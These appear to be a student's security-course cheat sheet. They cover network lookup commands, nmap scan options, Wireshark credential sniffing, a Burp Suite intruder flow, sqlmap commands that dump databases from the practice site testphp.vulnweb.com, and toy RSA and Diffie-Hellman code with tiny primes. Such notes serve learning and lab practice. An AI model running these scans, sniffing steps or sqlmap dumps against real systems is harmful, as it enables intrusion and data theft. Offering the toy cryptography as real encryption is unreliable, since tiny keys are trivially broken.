Command line tools:
Windows:

```
ping www.google.com
tracert www.google.com
nslookup www.google.com
```

Linux:use:
network-tools.com

```
whois www.google.com
dig/dns www.google.com
```

Nmap:

```
nmap scanme.nmap.org // Normal Scan
nmap -F scanme.nmap.org  // Find Ports
nmap -O -v scanme.nmap.org //OS and version -O
nmap -T4 -A -v -Pn scanme.nmap.org  // hide ping -Pn
nmap -sS -sU  -v scanme.nmap.org   //udp ports
nmap -p 1-65535 -v scanme.nmap.org  // tcp ports //// -sT for TCP
nmap -sX -v scanme.nmap.org // Xmas scan sF forFIN, sN forNull,
```

WireShark
network select
filter->http
browser->http:/vbsca.ca/login->id, password
find the data on wireshark

Burpsuit:
Burpsuit->proxy->browser->record->target->intruder->attack->payload->commit.

SQL Commands:

```
sqlmap.py
sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs
sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D information_schema --tables
sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D information_schema -T VIEWS --columns
sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D information_schema -T VIEWS -C
CHECK_OPTION -dump
```

RSA shortended:

```
def gcd(a,b):
  while 1==1:
    temp=a%b
    if temp==0:
      return b
    else:
      a=b
      b=temp


P=101
Q=103
n=P*Q
T=(P-1)*(Q-1)
e=2
while e<T:
  if gcd(e,T)==1:
    break
  else:
    e+=1


msg=32
print(f'MSG={msg}')
cText=pow(msg,e,n)
print(f'cText={cText}')
k=1
while k<n:
  d=(1+(k*T))/e
  if d==int(d):
    break
  else:
    k+=1


dtext=pow(cText,int(d),n)
print(f'dText={dtext}')
```

Diffe-HellmanShortend:

```
p=101
prlist=[]
def checkifpr(num):
  table=[]
  index=1
  while index<p:
    x=pow(num,index,p)
    if x in table:
      return
    else:
      table.append(x)
    index+=1
  prlist.append(num)
  return


for i in range(p):
  checkifpr(i)

print(prlist)
g=int(input('Enter any of the following values: '))
A=24
B=32
Encrypted_A=int(pow(g,A,p))
print(f'Encrypted_A={Encrypted_A}')
Encrypted_B=int(pow(g,B,p))
print(f'Encrypted_B={Encrypted_B}')
Secret_At_A=pow(Encrypted_B,A,p)
print(f'Secret_At_A={Secret_At_A}')
Secret_At_B=pow(Encrypted_A,B,p)
print(f'Secret_At_B={Secret_At_B}')
```